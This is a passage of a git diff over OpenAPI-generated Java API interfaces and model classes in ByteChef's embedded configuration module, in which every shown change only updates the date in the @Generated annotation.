--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/AppEventApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/AppEventApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "app-event", description = "The Embedded App Event Internal API")
 public interface AppEventApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/CategoryApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/CategoryApi.java
index 90c306bb813..5e8db10bb93 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/CategoryApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/CategoryApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "category", description = "The Embedded Category Internal API")
 public interface CategoryApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ComponentDefinitionApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ComponentDefinitionApi.java
index 8e71a7e4420..39c5c852515 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ComponentDefinitionApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ComponentDefinitionApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "component-definition", description = "The Embedded Component Definition Internal API")
 public interface ComponentDefinitionApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectedUserProjectWorkflowApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectedUserProjectWorkflowApi.java
index a722e0cf7cb..2a6a719660a 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectedUserProjectWorkflowApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectedUserProjectWorkflowApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connected-user-project-workflow", description = "The Embedded Connected User Project Workflow Internal API")
 public interface ConnectedUserProjectWorkflowApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionApi.java
index 58d841ef354..d6b0ae1ac33 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connection", description = "The Embedded Connection Internal API")
 public interface ConnectionApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionTagApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionTagApi.java
index 0c8f545e0a9..a1c5d9a4f03 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionTagApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/ConnectionTagApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connection-tag", description = "The Embedded Connection Tag Internal API")
 public interface ConnectionTagApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationApi.java
index 92227579b94..d0ee406e7ef 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationApi.java
@@ -38,7 +38,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration", description = "The Embedded Integration Internal API")
 public interface IntegrationApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceApi.java
index 75c5694e451..932adb6c6e7 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-instance", description = "the integration-instance API")
 public interface IntegrationInstanceApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationApi.java
index 72c746ee663..b96f80972c3 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-instance-configuration", description = "the integration-instance-configuration API")
 public interface IntegrationInstanceConfigurationApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationTagApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationTagApi.java
index a5549e6e09c..4b3749c82c5 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationTagApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationInstanceConfigurationTagApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-instance-configuration-tag", description = "the integration-instance-configuration-tag API")
 public interface IntegrationInstanceConfigurationTagApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationTagApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationTagApi.java
index a26bb482f65..902b4971a96 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationTagApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/IntegrationTagApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "integration-tag", description = "The Embedded Tag Internal API")
 public interface IntegrationTagApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WebhookTriggerTestApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WebhookTriggerTestApi.java
index edd1e256194..76cb1d870d8 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WebhookTriggerTestApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WebhookTriggerTestApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "webhook-trigger-test", description = "The Automation Webhook Trigger Internal API")
 public interface WebhookTriggerTestApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WorkflowApi.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WorkflowApi.java
index c6afbc9b81a..f630fd0abec 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WorkflowApi.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/WorkflowApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workflow", description = "The Embedded Workflow Internal API")
 public interface WorkflowApi {
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AppEventModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AppEventModel.java
index 404080130ad..fd4cb2e9883 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AppEventModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AppEventModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "AppEvent", description = "An app event.")
 @JsonTypeName("AppEvent")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class AppEventModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AuthorizationTypeModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AuthorizationTypeModel.java
index f5335a73b42..2e2a3176496 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AuthorizationTypeModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/AuthorizationTypeModel.java
@@ -20,7 +20,7 @@
  * The authorization type.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum AuthorizationTypeModel {
   
   API_KEY("API_KEY"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CategoryModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CategoryModel.java
index a51ba5f1889..77e6b78cd13 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CategoryModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CategoryModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Category", description = "A category.")
 @JsonTypeName("Category")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CategoryModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentCategoryModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentCategoryModel.java
index 12f0266e074..ee7a0137dc9 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentCategoryModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentCategoryModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "ComponentCategory", description = "A category of component.")
 @JsonTypeName("ComponentCategory")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ComponentCategoryModel {
 
   private String name;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentConnectionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentConnectionModel.java
index f95faafbfe9..7fc751b1e2b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentConnectionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentConnectionModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("ComponentConnection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ComponentConnectionModel {
 
   private String componentName;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentDefinitionBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentDefinitionBasicModel.java
index c0925fadc8c..921df8931c0 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentDefinitionBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ComponentDefinitionBasicModel.java
@@ -28,7 +28,7 @@
 
 @Schema(name = "ComponentDefinitionBasic", description = "A component contains a set of reusable code(actions) that accomplish specific tasks, triggers and connections if there is a need for a connection to an outside service.")
 @JsonTypeName("ComponentDefinitionBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ComponentDefinitionBasicModel {
 
   private @Nullable Integer actionsCount;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectedUserProjectWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectedUserProjectWorkflowModel.java
index 4ea866d7382..0d8c792d2e9 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectedUserProjectWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectedUserProjectWorkflowModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("ConnectedUserProjectWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectedUserProjectWorkflowModel {
 
   private @Nullable Long connectedUserId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionBaseModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionBaseModel.java
index afab5eb1df8..1ed692d4df4 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionBaseModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionBaseModel.java
@@ -33,7 +33,7 @@
 
 @Schema(name = "connection_base", description = "Contains all required information to open a connection to a service defined by componentName parameter.")
 @JsonTypeName("connection_base")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectionBaseModel {
 
   private @Nullable Boolean active;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionModel.java
index b287f840711..2278e6601da 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/ConnectionModel.java
@@ -33,7 +33,7 @@
 
 @Schema(name = "Connection", description = "Contains all required information to open a connection to a service defined by componentName parameter.")
 @JsonTypeName("Connection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectionModel {
 
   private @Nullable Boolean active;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CreateIntegrationInstanceConfigurationWorkflowJob200ResponseModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CreateIntegrationInstanceConfigurationWorkflowJob200ResponseModel.java
index b8f3f3a9b1c..7946a80933f 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CreateIntegrationInstanceConfigurationWorkflowJob200ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CreateIntegrationInstanceConfigurationWorkflowJob200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("createIntegrationInstanceConfigurationWorkflowJob_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
